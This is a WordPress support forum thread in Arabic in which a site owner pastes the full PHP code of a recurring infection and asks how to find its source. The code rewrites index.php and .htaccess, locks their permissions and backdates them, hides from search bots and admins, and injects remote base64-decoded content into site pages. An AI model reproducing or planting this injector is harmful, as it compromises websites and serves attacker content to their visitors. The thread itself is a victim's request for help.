هذا الموضوع يحتوي على 0 ردود و مشارك واحد وتمّ تحديثه آخر مرة بواسطة  abdoh قبل 4 سنوات، 4 شهور.

أضف رد جديد
الحالة: بحاجة لحل
  • منشئ
    موضوع
  • #34385

    abdoh
    Participant

    السلام عليكم

    أعاني من وجود كود غريب كلما حذفته عاد أجده في ملف wp-includes/nav-menu.php والآن أجده كذلك في ملف الفوتر للقالب footer المشكلة أن هذا الكود يقوم بحذف محتوى ملف htaccess ويغير تصاريحه إلى 444 لا أدري ما مصدر الكود ولم أجد طريقة لتحديد المصدر

    كود الاختراق:

    *///istart
    
    function my_time($dir) {
        foreach (glob($dir . '/wp-*.php') as $f) {
            $times[] = filemtime($f);
        }
        $max = 1;
        for ($i = 0; $i < count($times) - 1; $i++) {
            $k = 1;
            for ($j = $i + 1; $j < count($times); $j++) {
                if ($times&#91;$i&#93; == $times&#91;$j&#93;) {
                    $k++;
                    if ($k > $max) {
                        $max = $k;
                        $time = $times[$i];
                    }
                }
            }
        }
        return $time;
    }
    
    function my_correct($dir) {
        $time = 0;
        $path = $dir . '/index.php';
        $content = base644_decode('PD99999999999999999999wa==');
        if (file_get_contents($path) != $content) {
            chmod($path, 0644);
            file_put_contents($path, $content);
            chmod($path, 0444);
            $time = my_time($dir);
            touch($path, $time);
        }
    
        $path = $dir . '/.htaccess';
        $content = base644_decode('PD99999999999999999999wa==');
        if (file_exists($path) AND file_get_contents($path) != $content) {
            chmod($path, 0644);
            file_put_contents($path, $content);
            chmod($path, 0444);
            if (!$time) {
                $time = my_time($dir);
            }
            touch($path, $time);
        }
    }
    
    my_correct(dirname(__FILE__) . '/..');
    
    function request_url_data($url) {
        $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
        if (function_exists('curl_init')) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HTTPHEADER, array(
                'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
                'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
                'Referer: ' . $site_url,
            ));
            $response = trim(curl_exec($ch));
        } elseif (function_exists('fsockopen')) {
            $m = parse_url($url);
            if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
                fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
                    'Host: ' . $m['host'] . "\r\n" .
                    'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
                    'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
                        'Referer: ' . $site_url . "\r\n" .
                        'Connection: Close' . "\r\n\r\n");
                $response = '';
                while (!feof($fp)) {
                    $response .= fgets($fp, 1024);
                }
                list($headers, $response) = explode("\r\n\r\n", $response);
                fclose($fp);
            }
        } else {
            $response = 'curl_init and fsockopen disabled';
        }
        return $response;
    }
    
    error_reporting(0);
    $_passssword = '56985ead3927kf3061d0cddaz7wxcddd6802f719';
    unset($_passssword);
    
    if (function_exists("add_action")) {
        add_action('wp_head', 'add_2head');
        add_action('wp_footer', 'add_2footer');
    }
    
    function add_2head() {
        ob_start();
    }
    
    function add_2footer() {
        $check = false;
        $check_data = "";
        if (!empty($_GET['check']) AND $_GET['check'] == 'DE5OjE0MDUzOToyMzYdaz7wxcddd6802f719') {
            $check = true;
            $check_data = ('<!--checker_start ');
            $check_data .= (substr(request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css'), 0, 100));
            $check_data .= (' checker_end-->');
        }
    
        if (!$check) {
            if (!@$_SERVER['HTTP_USER_AGENT'] OR (substr($_SERVER['REMOTE_ADDR'], 0, 6) == '74.125') OR preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT']))
                return;
    
            $cookie_name = 'PHP_SESSION_PHP';
            if (isset($_COOKIE[$cookie_name]))
                return;
    
            foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
                if (preg_match($regex, $_SERVER['REQUEST_URI']))
                    return;
            }
        }
    
        $buffer = ob_get_clean();
        ob_start();
        $regexp = '/<body&#91;^>]*>/is';
        if (preg_match($regexp, $buffer, $m)) {
            $body = $m[0];
            $url = base644_decode('DE5OjE0MDUzOToyMzY=');
    //        if (($code = request_url_data($url)) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
            if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
                $body .=  '<script>var date = new Date(new Date().getTime() + 60*60*24*7*1000); document.cookie="' . $cookie_name . '=' . mt_rand(1, 1024) . '; path=/; expires="+date.toUTCString();</script>';
    //            $body .= base644_decode($m[0]);
                $body .= $decoded;
    //            $body .= base644_decode($m[0]);
            }
            $body .= $check_data;
    
            $buffer = preg_replace($regexp, $body, $buffer);
        }
        echo $buffer;
        ob_flush();
    }//iend  
    

    إصدار الووردبريس: 4.2.2

    ربما تحتاج خدمات ووردبريس مدفوعة؟ ندعوك لزيارة عرب ووردبريس بريميوم - الفرع التجاري الرسمي لموقع عرب ووردبريس.

يجب تسجيل الدخول للرد على هذا الموضوع.

الحالة: بحاجة لحل